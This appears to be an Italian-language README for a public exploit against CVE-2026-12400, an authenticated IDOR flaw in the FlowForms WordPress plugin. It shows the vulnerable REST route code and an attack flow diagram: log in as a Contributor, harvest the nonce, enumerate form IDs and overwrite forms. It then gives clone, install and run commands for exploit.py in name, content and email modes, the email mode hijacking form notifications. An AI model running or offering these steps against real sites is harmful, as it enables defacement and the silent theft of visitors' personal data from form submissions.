
# Exploit IDOR autenticato per WordPress per CVE-2026-12400; enumera gli ID dei moduli REST di FlowForms e modifica il contenuto dei moduli o dirotta le notifiche email.
Riferimento diretto a oggetti non sicuro (IDOR) autenticato (Contributor+) per la modifica arbitraria dei moduli in FlowForms ≤ 1.1.1
| Proprietà | Valore |
|---|---|
| CVE ID | CVE-2026-12400 |
| Punteggio CVSS | 4.3 — Medio |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Bypass dell'autorizzazione tramite chiave controllata dall'utente) |
| Prodotto | FlowForms — Plugin WordPress per moduli conversazionali |
| Versione affetta | Tutte le versioni fino alla 1.1.1 incluse |
| Corretto in | Corretto in 1.1.2 |
| Ricercatore | Phantom Hat |
Studio completo white-box con analisi del codice sorgente, tracciamento del flusso di input e diff delle patch:
FlowForms espone due endpoint API REST sotto il namespace flowforms/v1 che sono vulnerabili:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Entrambi accettano un {id} controllato dall'utente nel percorso URL e modificano i dati del modulo di destinazione — nome, contenuto, layout, URL di reindirizzamento e destinatari delle notifiche email.
Entrambe le registrazioni di route vulnerabili condividono la stessa permission_callback difettosa:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts è una capacità posseduta dai Contributor. Il parametro {id} non viene mai verificato rispetto alla proprietà dell'utente richiedente — qualsiasi utente autenticato può prendere di mira qualsiasi ID modulo sul sito.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Modalità | Endpoint | Impatto |
|---|---|---|
name | /forms/{id} | Rinominare qualsiasi modulo — deturpazione, ingegneria sociale |
content | /forms/{id} | Sovrascrivere layout, schermate di benvenuto/ringraziamento, URL di reindirizzamento |
email | /forms/{id}/settings | Dirottare l'email di notifica — ricevere silenziosamente tutte le sottomissioni del modulo |
La modalità email è la più critica. Dopo il dirottamento, ogni sottomissione al modulo di contatto della vittima — inclusi PII dei visitatori, messaggi e dettagli di contatto — viene inoltrata silenziosamente all'indirizzo controllato dall'attaccante. L'amministratore del sito non vede alcuna indicazione della modifica.
Contributor sul sito di destinazionegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Rinomina qualsiasi modulo con contenuto controllato dall'attaccante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Sovrascrive layout del modulo, schermate, URL di reindirizzamento e immagini di sfondo:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Reindirizza tutte le notifiche future di sottomissione dei moduli a un indirizzo controllato dall'attaccante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Flag | Short | Descrizione | Obbligatorio |
|---|---|---|---|
--url | -u | URL di destinazione WordPress | ✅ |
--user | Nome utente WordPress (Contributor+) | ✅ | |
--password | Password WordPress | ✅ | |
--id-start | -i | ID modulo iniziale per l'enumerazione | ✅ |
--num-forms | -n | Numero di ID modulo da enumerare | ✅ |
--exploit | Modalità di attacco: name / content / email | ✅ | |
--proxy | -p | URL del proxy (es. http://127.0.0.1:8080) | ❌ |